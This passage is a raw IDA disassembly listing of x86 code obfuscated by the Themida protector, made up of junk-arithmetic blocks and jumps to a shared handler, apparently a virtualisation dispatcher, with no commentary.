4 add esp, 4 jmp loc_59E3F4 ; --------------------------------------------------------------------------- loc_5944B2: ; CODE XREF: Themida_:0059B0A5j and esi, edx push dword ptr [esp] pop edx jmp loc_59AD26 ; --------------------------------------------------------------------------- loc_5944BD: ; CODE XREF: Themida_:00599E7Cj pop edi xor ebx, eax pop eax jmp loc_596DEF ; --------------------------------------------------------------------------- loc_5944C6: ; CODE XREF: Themida_:005969AFj shl edx, 1 push eax jmp loc_59532B ; --------------------------------------------------------------------------- loc_5944CE: ; CODE XREF: Themida_:005972EAj pop esp push edi jmp loc_595FE0 ; --------------------------------------------------------------------------- loc_5944D5: ; CODE XREF: Themida_:00594FA0j pop ebp push esi push ebx mov ebx, 16413962h mov esi, ebx pop ebx and ebx, esi pop esi xor ebx, 16FF0EECh push edx jmp loc_5A491A ; --------------------------------------------------------------------------- loc_5944EF: ; CODE XREF: Themida_:0059341Dj mov ecx, ebx mov esi, ecx jmp loc_59188E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594507: ; CODE XREF: Themida_:0059EB08j sub esp, 4 jmp loc_593277 ; --------------------------------------------------------------------------- loc_594512: ; CODE XREF: Themida_:0059BE26j mov esp, [esp] mov [esp], dx push ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594521: ; CODE XREF: Themida_:005917CDj sub edi, 0D183BBBh sub edi, 2B462DEAh jmp loc_5A4E8D ; --------------------------------------------------------------------------- loc_594532: ; CODE XREF: Themida_:00597565j push 7108h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] jmp loc_5A2ADB ; --------------------------------------------------------------------------- loc_594546: ; CODE XREF: Themida_:00597420j push esi push 6D563AA4h pop esi add esi, 19295333h sub esi, 506B7B9Dh mov eax, esi pop esi xor eax, ebx pop ebx xor eax, 7A4135F0h push esi mov esi, 44642835h inc esi dec esi shr esi, 2 sub esi, 0C648E17h xor eax, esi jmp loc_59CC88 ; --------------------------------------------------------------------------- loc_59457C: ; CODE XREF: Themida_:005A4DA0j pop dx push 354Eh mov [esp], ecx jmp loc_59935B ; --------------------------------------------------------------------------- loc_59458B: ; CODE XREF: Themida_:00599056j and [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594595: ; CODE XREF: Themida_:0059371Dj add eax, 5A89416Eh mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 1B27688Dh jmp loc_59AF7C ; --------------------------------------------------------------------------- loc_5945B3: ; CODE XREF: Themida_:0059A030j push ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_596CDA ; --------------------------------------------------------------------------- loc_5945CB: ; CODE XREF: Themida_:00598F92j mov eax, [esp] add esp, 4 push edx push 2D18h jmp loc_5A3958 ; --------------------------------------------------------------------------- loc_5945DC: ; CODE XREF: Themida_:0059F06Aj mov eax, 0FB66E9F5h add edx, 1E6E5BD0h jmp loc_5A2492 ; --------------------------------------------------------------------------- loc_5945EC: ; CODE XREF: Themida_:0059C277j xchg edi, [esp] jmp loc_595EB5 ; --------------------------------------------------------------------------- loc_5945F4: ; CODE XREF: Themida_:0059C4EEj pop edx pop dword ptr [esp] jmp loc_596949 ; --------------------------------------------------------------------------- loc_5945FD: ; CODE XREF: Themida_:00594F7Dj sub ebx, 0B946ACCh push ebp mov ebp, 27AB3FF0h jmp loc_59ECE6 ; --------------------------------------------------------------------------- loc_59460E: ; CODE XREF: Themida_:005966FBj push ebx jmp loc_598ABA ; --------------------------------------------------------------------------- loc_594614: ; CODE XREF: Themida_:00594699j push ebx mov bl, 34h push 231Eh mov [esp], edx mov dl, 2Dh sub dl, 74h jmp loc_598B3E ; --------------------------------------------------------------------------- loc_594629: ; CODE XREF: Themida_:005A328Aj push edx push 4 pop edx sub dword ptr [esp+4], 6E9C2029h add [esp+4], edx jmp loc_5959A5 ; --------------------------------------------------------------------------- loc_594641: ; CODE XREF: Themida_:005A3CC3j xchg ebp, [esp] pop esp xor ecx, [esp] jmp loc_5A4762 ; --------------------------------------------------------------------------- loc_59464D: ; CODE XREF: Themida_:0059600Fj mov esi, ecx mov ecx, [esp] add esp, 4 pop edx jmp loc_59F0F4 ; --------------------------------------------------------------------------- mov cx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 sub esp, 4 jmp loc_59836D ; --------------------------------------------------------------------------- loc_594677: ; CODE XREF: Themida_:005A4B03j add ebx, 51BA776Bh add ebx, edi jmp loc_59F9E1 ; --------------------------------------------------------------------------- loc_594684: ; CODE XREF: Themida_:005A39B1j mov [esp], ebp push 155Eh jmp loc_59B5F0 ; --------------------------------------------------------------------------- loc_594691: ; CODE XREF: Themida_:00595379j push 189Fh mov [esp], ecx jmp loc_594614 ; --------------------------------------------------------------------------- loc_59469E: ; CODE XREF: Themida_:005924C9j add esi, edx pop edx jmp loc_594C8F ; --------------------------------------------------------------------------- loc_5946A6: ; CODE XREF: Themida_:005A21F0j push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] add esi, 4 push edi jmp loc_59FEE5 ; --------------------------------------------------------------------------- loc_5946C4: ; CODE XREF: Themida_:0059D95Cj add edi, 9A5A1520h sub esi, 0FB600B7h add esi, edi add esi, 0FB600B7h jmp loc_5991D5 ; --------------------------------------------------------------------------- loc_5946DD: ; CODE XREF: Themida_:005A0711j sub eax, 2288587Dh jmp loc_593F2B ; --------------------------------------------------------------------------- loc_5946E7: ; CODE XREF: Themida_:005A42A2j add esp, 4 push eax mov eax, 3B3757EBh push edx mov edx, 2CD90BAEh shr edx, 5 add edx, 3A254C4h or eax, edx pop edx jmp loc_5A0631 ; --------------------------------------------------------------------------- loc_59470A: ; CODE XREF: Themida_:00591234j push edi mov edi, 59176EC4h and edx, edi pop edi push ebx jmp loc_5A0F06 ; --------------------------------------------------------------------------- loc_594719: ; CODE XREF: Themida_:00597457j mov ecx, ebx push dword ptr [esp] pop ebx push esi sub esp, 4 mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx mov esi, [esp] push edi jmp loc_596599 ; --------------------------------------------------------------------------- loc_59473D: ; CODE XREF: Themida_:0059F5C8j pop ebp push edx push ebp push ecx mov ecx, 5F870934h add [esp+4], ecx jmp loc_59FDFC ; --------------------------------------------------------------------------- loc_59474F: ; CODE XREF: Themida_:005921B1j sub bl, 5Ah add bl, cl jmp loc_59E349 ; --------------------------------------------------------------------------- loc_594759: ; CODE XREF: Themida_:0059CCD2j add ebp, 6B4648EBh jmp loc_59F9F8 ; --------------------------------------------------------------------------- loc_594764: ; CODE XREF: Themida_:005993C1j pop ebx add esp, 4 shr eax, 0Ch xor eax, ecx push 7787h mov [esp], eax jmp loc_5951D9 ; --------------------------------------------------------------------------- loc_59477A: ; CODE XREF: Themida_:0059F970j mov ecx, ebx pop ebx add edi, ecx push dword ptr [esp] pop ecx jmp loc_596668 ; --------------------------------------------------------------------------- loc_594788: ; CODE XREF: Themida_:005A11C6j add dh, 37h mov bl, dh pop edx mov dh, bl pop ebx mov cl, 74h sub cl, dh pop edx jmp loc_596A3A ; --------------------------------------------------------------------------- loc_59479B: ; CODE XREF: Themida_:005917A9j add esi, eax pop eax sub esi, 8A89510Fh add ebp, esi pop esi jmp loc_5955A1 ; --------------------------------------------------------------------------- loc_5947AC: ; CODE XREF: Themida_:005A3C8Bj mov edi, [esp] push edx mov edx, esp add edx, 4 push edi mov edi, 4 jmp loc_59ADEF ; --------------------------------------------------------------------------- loc_5947C3: ; CODE XREF: Themida_:0059082Aj mov esi, 2 jmp loc_59E7FA ; --------------------------------------------------------------------------- loc_5947CD: ; CODE XREF: Themida_:00593272j pop ecx shl ebp, 5 push ebx push ebp jmp loc_5A25E9 ; --------------------------------------------------------------------------- loc_5947D8: ; CODE XREF: Themida_:005A1217j add esp, 4 add edx, ebx pop ebx jmp loc_59B445 ; --------------------------------------------------------------------------- loc_5947E3: ; CODE XREF: Themida_:00597C76j mov [esp], ebx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5960E8 ; --------------------------------------------------------------------------- loc_5947FD: ; CODE XREF: Themida_:0059278Aj push esp mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 7C5Ch mov [esp], esi push ebp mov ebp, 4 push 6C96h mov [esp], eax mov eax, ebp mov esi, eax pop eax push dword ptr [esp] mov ebp, [esp] jmp loc_5A1FDD ; --------------------------------------------------------------------------- loc_59483A: ; CODE XREF: Themida_:00597077j xchg edi, [esp] jmp loc_5A2E72 ; --------------------------------------------------------------------------- loc_594842: ; CODE XREF: Themida_:0059AE73j add ebx, 5467709Dh xor ebx, 2D675899h not ebx dec ebx add ebx, 0CEFBCAD7h and ecx, ebx pop ebx shl ecx, 3 add ecx, 27450533h jmp loc_597AF8 ; --------------------------------------------------------------------------- loc_594868: ; CODE XREF: Themida_:005A5173j pop ebx dec edi jmp loc_596EF1 ; --------------------------------------------------------------------------- loc_59486F: ; CODE XREF: Themida_:0059EAA3j push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx pop ebx jmp loc_59E8E0 ; --------------------------------------------------------------------------- loc_594880: ; CODE XREF: Themida_:0059A5BBj pop eax jmp loc_5A22F5 ; --------------------------------------------------------------------------- loc_594886: ; CODE XREF: Themida_:0059D25Ej mov ebx, [esp] jmp loc_598447 ; --------------------------------------------------------------------------- loc_59488E: ; CODE XREF: Themida_:005A1E37j shr ecx, 5 shr ecx, 5 not ecx sub ecx, 72F66B4Eh push ebp push ebx mov ebx, 1AD80BA9h jmp loc_590450 ; --------------------------------------------------------------------------- loc_5948A8: ; CODE XREF: Themida_:0059EB6Dj mov ebx, [esp] jmp loc_591C94 ; --------------------------------------------------------------------------- loc_5948B0: ; CODE XREF: Themida_:00591515j mov edx, [esp] jmp loc_5932EE ; --------------------------------------------------------------------------- loc_5948B8: ; CODE XREF: Themida_:0059B1D3j xor esi, ebp pop ebp mov edx, esi pop esi mov esi, 634E5C4Eh xor esi, edx pop edx sub eax, esi pop esi push dword ptr [esp] pop edi push 49A3h mov [esp], ebx mov ebx, esp push ecx push 4 pop ecx sub ebx, 1F5162B1h add ebx, ecx jmp loc_5A0BC6 ; --------------------------------------------------------------------------- loc_5948EB: ; CODE XREF: Themida_:0059CD94j push dx mov dh, cl dec dh mov cl, dh pop dx not cl add cl, 30h or bl, cl pop ecx not bl neg bl push dx jmp loc_595D2F ; --------------------------------------------------------------------------- loc_594908: ; CODE XREF: Themida_:00592F80j push dword ptr [esp] pop edx jmp loc_59FA20 ; --------------------------------------------------------------------------- loc_594911: ; CODE XREF: Themida_:00597FDDj mov edi, 603Eh sub esi, edi pop edi jmp loc_5A00AE ; --------------------------------------------------------------------------- loc_59491E: ; CODE XREF: Themida_:005A34C4j mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594940: ; CODE XREF: Themida_:0059E275j shr ebx, 4 dec ebx add ebx, 0DA469FBh push ecx mov ecx, 3DD22C6Fh xor ebx, ecx pop ecx push edi mov edi, 34D13EEAh jmp loc_5A4C01 ; --------------------------------------------------------------------------- loc_59495E: ; CODE XREF: Themida_:00590A21j mov eax, [esp] push edx jmp loc_59DA3C ; --------------------------------------------------------------------------- lodsb jmp loc_5A31B1 ; --------------------------------------------------------------------------- loc_59496D: ; CODE XREF: Themida_:0059A822j add esp, 4 push ebp mov ebp, 3376542h add ebx, ebp pop ebp jmp loc_59370B ; --------------------------------------------------------------------------- loc_594981: ; CODE XREF: Themida_:0059CF16j sub esi, 4822ED45h mov ebp, esi pop esi and ebp, 0C51D7Ch dec ebp jmp loc_596312 ; --------------------------------------------------------------------------- loc_594996: ; CODE XREF: Themida_:0059B62Aj pop edx jmp loc_591302 ; --------------------------------------------------------------------------- loc_59499C: ; CODE XREF: Themida_:005A4793j sub dl, bl jmp loc_59FECF ; --------------------------------------------------------------------------- loc_5949A3: ; CODE XREF: Themida_:005A12BCj pop esp shr ecx, 0Bh push 7193h mov [esp], ebx push dword ptr [esp] mov eax, [esp] sub esp, 4 jmp loc_597B1C ; --------------------------------------------------------------------------- loc_5949C0: ; CODE XREF: Themida_:00595CC1j mov esi, ebp mov ebp, [esp] jmp loc_597402 ; --------------------------------------------------------------------------- loc_5949CA: ; CODE XREF: Themida_:005A3D35j push ebx sub dword ptr [esp], 1100461Ch jmp loc_59F564 ; --------------------------------------------------------------------------- loc_5949D7: ; CODE XREF: Themida_:0059A5A3j push 5F51h mov [esp], edx mov edx, 125B7CBDh push 0 jmp loc_59F03B ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5949F7: ; CODE XREF: Themida_:0059FCF4j mov ch, bl jmp loc_597C1A ; --------------------------------------------------------------------------- loc_5949FE: ; CODE XREF: Themida_:005955F5j push dword ptr [esp] jmp loc_59FE75 ; --------------------------------------------------------------------------- loc_594A06: ; CODE XREF: Themida_:0059249Aj mov esp, [esp] add esp, 4 push 4194h jmp loc_5985AC ; --------------------------------------------------------------------------- loc_594A16: ; CODE XREF: Themida_:005A0503j mov [esp], edi mov edi, 643F5F2Dh sub ebp, edi pop edi shl ebp, 4 neg ebp sub ebp, 5A8D6825h not ebp push ecx jmp loc_59E164 ; --------------------------------------------------------------------------- loc_594A34: ; CODE XREF: Themida_:0059D6C5j sub ebx, 0B591E6Ah add ebx, 5C5D3DD0h sub ebx, edi sub ebx, 5C5D3DD0h add ebx, 0B591E6Ah jmp loc_5A4D36 ; --------------------------------------------------------------------------- loc_594A53: ; CODE XREF: Themida_:0059B902j mov [esp], edi sub esp, 4 mov [esp], ebx push 57864BFCh mov ebx, [esp] add esp, 4 xor ebx, 2BF13A71h push ebp mov ebp, ebx mov edi, ebp mov ebp, [esp] push edi mov edi, esp add edi, 4 jmp loc_593C61 ; --------------------------------------------------------------------------- loc_594A86: ; CODE XREF: Themida_:005A2C53j xor [esp+4], ebp mov ebp, [esp] add esp, 4 mov eax, [esp] push ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp push edi mov edi, 4 jmp loc_59D42F ; --------------------------------------------------------------------------- loc_594AB2: ; CODE XREF: Themida_:0059F476j pop esp push ebx push 5B54h mov [esp], ecx mov ch, 6 push edx mov dl, 87h shl dl, 8 sub dl, 0B6h or ch, dl jmp loc_5A3772 ; --------------------------------------------------------------------------- loc_594ACE: ; CODE XREF: Themida_:005A0C03j add ecx, 4 jmp loc_59EA63 ; --------------------------------------------------------------------------- loc_594AD9: ; CODE XREF: Themida_:0059912Bj sub [esp], edx pop edx jmp loc_59A0A4 ; --------------------------------------------------------------------------- loc_594AE2: ; CODE XREF: Themida_:005A3C49j xchg ebx, [esp] pop esp mov [esp], edx jmp loc_59D29C ; --------------------------------------------------------------------------- loc_594AEE: ; CODE XREF: Themida_:005977C5j xor ecx, 0F1A17CEh mov edx, ecx pop ecx add edx, edi add [edx], eax jmp loc_598962 ; --------------------------------------------------------------------------- loc_594B00: ; CODE XREF: Themida_:00596EFFj mov ecx, 18E12C32h inc ecx xor ecx, 6442049Ah dec ecx jmp loc_5A05FD ; --------------------------------------------------------------------------- loc_594B12: ; CODE XREF: Themida_:0059F34Cj pop edi sub eax, 7E634B28h sub eax, esi push ebx jmp loc_59A04A ; --------------------------------------------------------------------------- loc_594B20: ; CODE XREF: Themida_:005A0F46j push 7421h mov [esp], ebp mov ebp, esp jmp loc_5A40D9 ; --------------------------------------------------------------------------- loc_594B2F: ; CODE XREF: Themida_:005A489Cj push 241h mov [esp], ebp jmp loc_592E76 ; --------------------------------------------------------------------------- loc_594B3C: ; CODE XREF: Themida_:00597530j add bh, 5Eh jmp loc_592D51 ; --------------------------------------------------------------------------- loc_594B44: ; CODE XREF: Themida_:005967EDj mov [esp], ebp push 7219h mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx jmp loc_598FD9 ; --------------------------------------------------------------------------- loc_594B5E: ; CODE XREF: Themida_:00598FD4j shl esi, 4 sub esi, 15505B98h or ebp, esi pop esi jmp loc_59B140 ; --------------------------------------------------------------------------- loc_594B6F: ; CODE XREF: Themida_:005A45B3j xor eax, edi xor edi, eax xor eax, edi jmp loc_598C57 ; --------------------------------------------------------------------------- loc_594B7A: ; CODE XREF: Themida_:00599EBAj xchg eax, [esp] pop esp add dword ptr [esp], 4B56045Fh push 1050h mov [esp], ebp mov ebp, 49066370h push edx jmp loc_5A39E3 ; --------------------------------------------------------------------------- loc_594B98: ; CODE XREF: Themida_:00598EB1j push edx jmp loc_596346 ; --------------------------------------------------------------------------- loc_594B9E: ; CODE XREF: Themida_:0059F5A1j pop dword ptr [esp] mov esp, [esp] retn ; --------------------------------------------------------------------------- jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594BAA: ; CODE XREF: Themida_:005920D3j pop ebp xor esi, 5FD70755h jmp loc_591AF2 ; --------------------------------------------------------------------------- loc_594BB6: ; CODE XREF: Themida_:005A3A1Ej add ebp, 4 jmp loc_59D653 ; --------------------------------------------------------------------------- loc_594BC1: ; CODE XREF: Themida_:005A0C69j push 2932120h jmp loc_596C9F ; --------------------------------------------------------------------------- lodsd push 76F2h jmp loc_598C2D ; --------------------------------------------------------------------------- loc_594BD6: ; CODE XREF: Themida_:00590757j mov [esp], ecx push ebp push esi push ecx jmp loc_59669A ; --------------------------------------------------------------------------- loc_594BE1: ; CODE XREF: Themida_:005A510Dj add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_59991C ; --------------------------------------------------------------------------- loc_594BF5: ; CODE XREF: Themida_:005952D0j mov eax, [esp] push eax mov eax, esp push ebp mov ebp, 73C22DBEh sub ebp, 73C22DBAh add eax, ebp pop ebp add eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp push 0EABh jmp loc_5A512B ; --------------------------------------------------------------------------- loc_594C29: ; CODE XREF: Themida_:00598691j add esi, 63AF33B9h sub esi, edi sub esi, 63AF33B9h mov edi, [esp] jmp loc_599CC9 ; --------------------------------------------------------------------------- loc_594C3F: ; CODE XREF: Themida_:00598FB2j mov [esp], ebx mov ebx, esp push edi jmp loc_59BCFE ; --------------------------------------------------------------------------- loc_594C4A: ; CODE XREF: Themida_:00599282j pop dword ptr [esp] jmp loc_59DCB9 ; --------------------------------------------------------------------------- loc_594C52: ; CODE XREF: Themida_:0059A25Aj push 212Eh mov [esp], esi pop dword ptr [edi+24h] pop esi jmp loc_5A5058 ; --------------------------------------------------------------------------- loc_594C63: ; CODE XREF: Themida_:00592693j xor [esp], edi jmp loc_59D4F3 ; --------------------------------------------------------------------------- loc_594C6B: ; CODE XREF: Themida_:005A3E6Fj xor ebx, 344B3736h sub ebx, 3F7B279Bh neg ebx add ebx, 0F293D049h sub ecx, ebx pop ebx sub ecx, 7E6E268Bh add ecx, esi jmp loc_595C3E ; --------------------------------------------------------------------------- loc_594C8F: ; CODE XREF: Themida_:005946A1j xchg esi, [esp] jmp loc_59B593 ; --------------------------------------------------------------------------- loc_594C97: ; CODE XREF: Themida_:00595911j sub [edi+24h], eax mov eax, [esp] add esp, 4 loc_594CA0: ; CODE XREF: Themida_:0059FC70j push 1252h mov [esp], ebx push ebp sub esp, 4 mov [esp], edi jmp loc_59E47D ; --------------------------------------------------------------------------- loc_594CB4: ; CODE XREF: Themida_:005995D3j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594CB9: ; CODE XREF: Themida_:005A007Dj push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 xor bl, al movzx eax, al pop small word ptr [edi+eax*4] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594CD9: ; CODE XREF: Themida_:0059FD06j and edx, 7AB3789Ah sub edx, 47420AE8h sub edx, 6ADF4AFFh sub edx, 0ED8ACF4h xor esi, edx pop edx jmp loc_5A05B6 ; --------------------------------------------------------------------------- loc_594CF9: ; CODE XREF: Themida_:00592588j add ebp, esi pop esi add ebp, 40951AC9h jmp loc_59CD4E ; --------------------------------------------------------------------------- loc_594D07: ; CODE XREF: Themida_:00593B4Aj mov ebp, esp add ebp, 4 push esi jmp loc_59BAA8 ; --------------------------------------------------------------------------- loc_594D15: ; CODE XREF: Themida_:00599F04j mov esp, [esp] btc [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594D23: ; CODE XREF: Themida_:005A0AC6j or bh, 4Fh push 0 sub [esp], bh mov bh, [esp] add esp, 4 shl bh, 3 add bh, 0E1h not bh sub bh, 0FFh sub bh, 0F1h xor dl, bh pop ebx xor dl, ah push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_598174 ; --------------------------------------------------------------------------- loc_594D53: ; CODE XREF: Themida_:00598AFBj inc ebp jmp loc_5A1128 ; --------------------------------------------------------------------------- loc_594D59: ; CODE XREF: Themida_:005983C9j mov esp, [esp] push eax mov eax, 0CCC6F03h push esi mov esi, 1F981109h not esi not esi not esi jmp loc_59DCA1 ; --------------------------------------------------------------------------- loc_594D73: ; CODE XREF: Themida_:005A1A9Ej xchg ecx, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594D82: ; CODE XREF: Themida_:005A3606j mov ecx, [esp] add esp, 4 xor edx, eax mov eax, [esp] add esp, 4 add ebp, edx jmp loc_59C290 ; --------------------------------------------------------------------------- loc_594D97: ; CODE XREF: Themida_:005A4B60j mov ebp, [esp] add esp, 4 jmp loc_59BED6 ; --------------------------------------------------------------------------- loc_594DA2: ; CODE XREF: Themida_:0059CB7Aj shl eax, 3 push 14A0h mov [esp], edi jmp loc_5A23BB ; --------------------------------------------------------------------------- loc_594DB2: ; CODE XREF: Themida_:005A44E3j sub edx, 3373093Bh sub edx, 83D834A2h push edx add dword ptr [esp], 63A02D67h pop ecx sub ecx, 63A02D67h jmp loc_5A43FB ; --------------------------------------------------------------------------- loc_594DD2: ; CODE XREF: Themida_:00599DADj xchg edi, [esp] pop esp mov [esp], esi push esp mov esi, [esp] push esi jmp loc_5A3EE1 ; --------------------------------------------------------------------------- loc_594DE3: ; CODE XREF: Themida_:005A51F0j mov ecx, esp push eax jmp loc_593FA8 ; --------------------------------------------------------------------------- loc_594DEB: ; CODE XREF: Themida_:00591E59j pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], esi mov esi, esp push eax mov eax, 78975AC7h inc eax not eax jmp loc_59DD70 ; --------------------------------------------------------------------------- loc_594E0B: ; CODE XREF: Themida_:005A3B96j add ebp, 1EE81807h xor ebp, 3A2F6F25h xor ebp, 4F9570A4h sub ebp, 52C1049Ch add edx, ebp pop ebp push ecx mov ecx, 4 jmp loc_598E20 ; --------------------------------------------------------------------------- loc_594E31: ; CODE XREF: Themida_:00593F78j push dword ptr [esp] pop esi add esp, 4 add esi, 4 push 5455h jmp loc_59233B ; --------------------------------------------------------------------------- loc_594E48: ; CODE XREF: Themida_:00595B9Cj xor cl, bl pop ebx push eax mov ah, cl push ecx mov ch, ah mov dl, ch pop ecx pop eax pop ecx jmp loc_59C5C8 ; --------------------------------------------------------------------------- loc_594E5B: ; CODE XREF: Themida_:005A3980j push dword ptr [esp] pop ebx add esp, 4 push eax push edx push 448B06C9h pop edx sub edx, 5EA059FEh add edx, 1A155339h push ecx mov ecx, edx mov eax, ecx pop ecx mov edx, [esp] push ecx mov ecx, esp push edx mov edx, 4 add ecx, edx pop edx add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_5950D7 ; --------------------------------------------------------------------------- loc_594E99: ; CODE XREF: Themida_:005958DFj mov ebp, edx pop edx sub ebp, 628D2B13h sub ebp, ecx add ebp, 628D2B13h jmp loc_591154 ; --------------------------------------------------------------------------- loc_594EAF: ; CODE XREF: Themida_:00592AC4j push esi push esp jmp loc_595DA6 ; --------------------------------------------------------------------------- loc_594EB6: ; CODE XREF: Themida_:0059A0CDj mov esi, 2914706Bh sub [esp+8], esi mov esi, [esp] add esp, 4 jmp loc_5A44B7 ; --------------------------------------------------------------------------- loc_594ECD: ; CODE XREF: Themida_:005A44EBj add esp, 4 add eax, esi push ecx mov ecx, 87F6AF2h add eax, ecx pop ecx add eax, 4B88534Dh mov esi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_59FC20 ; --------------------------------------------------------------------------- loc_594EF4: ; CODE XREF: Themida_:0059D96Aj sub cl, bl add cl, 87h mov bx, [esp] jmp loc_59691A ; --------------------------------------------------------------------------- loc_594F02: ; CODE XREF: Themida_:0059D0EBj sub al, ch jmp loc_59D44B ; --------------------------------------------------------------------------- loc_594F09: ; CODE XREF: Themida_:0059CEAEj pop dword ptr [esp] jmp loc_59E5D8 ; --------------------------------------------------------------------------- loc_594F11: ; CODE XREF: Themida_:0059BE90j mov ebp, 80404C2h jmp loc_5A4585 ; --------------------------------------------------------------------------- loc_594F1B: ; CODE XREF: Themida_:005A485Dj push 13105BC0h jmp loc_591512 ; --------------------------------------------------------------------------- loc_594F25: ; CODE XREF: Themida_:0059FD59j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_594F2A: ; CODE XREF: Themida_:0059121Bj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] sub esp, 4 jmp loc_59CAD3 ; --------------------------------------------------------------------------- loc_594F3E: ; CODE XREF: Themida_:00593314j mov eax, 37F97101h xor eax, 2D506B01h xor esi, eax mov eax, [esp] jmp loc_59154A ; --------------------------------------------------------------------------- loc_594F52: ; CODE XREF: Themida_:00597313j push 4AEEh mov [esp], eax push ebx push edx mov edx, 1E2F232Fh jmp loc_595713 ; --------------------------------------------------------------------------- lodsd push ebp jmp loc_597224 ; --------------------------------------------------------------------------- loc_594F6D: ; CODE XREF: Themida_:0059E7E2j add ebx, 4 jmp loc_596EA8 ; --------------------------------------------------------------------------- loc_594F75: ; CODE XREF: Themida_:005A3C0Aj mov [esp], ebx mov ebx, 1Ch jmp loc_5945FD ; --------------------------------------------------------------------------- loc_594F82: ; CODE XREF: Themida_:005A3109j mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], edi jmp loc_591C0A ; --------------------------------------------------------------------------- loc_594F98: ; CODE XREF: Themida_:005A1A42j sub ebx, ebp add ebx, 7D7B1252h jmp loc_5944D5 ; --------------------------------------------------------------------------- loc_594FA5: ; CODE XREF: Themida_:00597B89j xor ebp, edi push dword ptr [esp] pop edi add esp, 4 sub eax, ebp mov ebp, [esp] push edi push 6002h mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 push esi mov esi, 4 jmp loc_590B5C ; --------------------------------------------------------------------------- loc_594FDA: ; CODE XREF: Themida_:0059DA0Aj xor dword ptr [edx], 54A51367h pop edx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push esi mov esi, esp jmp loc_599799 ; --------------------------------------------------------------------------- loc_594FF2: ; CODE XREF: Themida_:005A3B32j push edi mov edi, 2 add ebp, edi jmp loc_5A0CD0 ; --------------------------------------------------------------------------- loc_594FFF: ; CODE XREF: Themida_:005954A6j shl byte ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_595008: ; CODE XREF: Themida_:005963A8j add eax, ebp pop ebp jmp loc_5A44E8 ; --------------------------------------------------------------------------- loc_595010: ; CODE XREF: Themida_:0059432Ej mov esi, 5622721h xchg ebp, esi not ebp xchg ebp, esi sub esi, 78064F1Bh add esi, 4A6F5E66h sub esi, 0A03800E1h add eax, esi pop esi or [edi+1Ch], eax pop eax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_595039: ; CODE XREF: Themida_:005A50DDj pop ecx push ecx jmp loc_591AB7 ; --------------------------------------------------------------------------- loc_595040: ; CODE XREF: Themida_:005939AAj push small 5118h jmp loc_5A2F76 ; --------------------------------------------------------------------------- loc_595049: ; CODE XREF: Themida_:0059826Bj push eax jmp loc_593239 ; --------------------------------------------------------------------------- loc_59504F: ; CODE XREF: Themida_:005A2327j sub edi, 818BFE6h sub edx, edi pop edi jmp loc_5966CC ; --------------------------------------------------------------------------- loc_59505D: ; CODE XREF: Themida_:0059AD21j pop ebp add edi, ebx pop ebx mov eax, edi pop edi and ecx, eax mov eax, [esp] push 75ADh mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_591251 ; --------------------------------------------------------------------------- loc_59508A: ; CODE XREF: Themida_:0059731Dj mov esi, ebx pop ebx jmp loc_59F209 ; --------------------------------------------------------------------------- loc_595092: ; CODE XREF: Themida_:005A1316j sub edx, ebx pop ebx shl edx, 8 jmp loc_595EED ; --------------------------------------------------------------------------- loc_59509D: ; CODE XREF: Themida_:005A2E3Cj mov eax, 4 add [esp+4], eax push dword ptr [esp] pop eax add esp, 4 pop edi jmp loc_5A1279 ; --------------------------------------------------------------------------- loc_5950B6: ; CODE XREF: Themida_:0059D64Ej and [edi+1Ch], esi mov esi, [esp] push 565h mov [esp], esi push esp jmp loc_591E09 ; --------------------------------------------------------------------------- loc_5950CA: ; CODE XREF: Themida_:00590F99j add edi, 0AEDD6B48h or edx, edi jmp loc_598C3C ; --------------------------------------------------------------------------- loc_5950D7: ; CODE XREF: Themida_:00594E94j pop dword ptr [esp] mov esp, [esp] sub edx, 4C9B65EEh add edx, eax add edx, 4C9B65EEh pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_5A2A45 ; --------------------------------------------------------------------------- 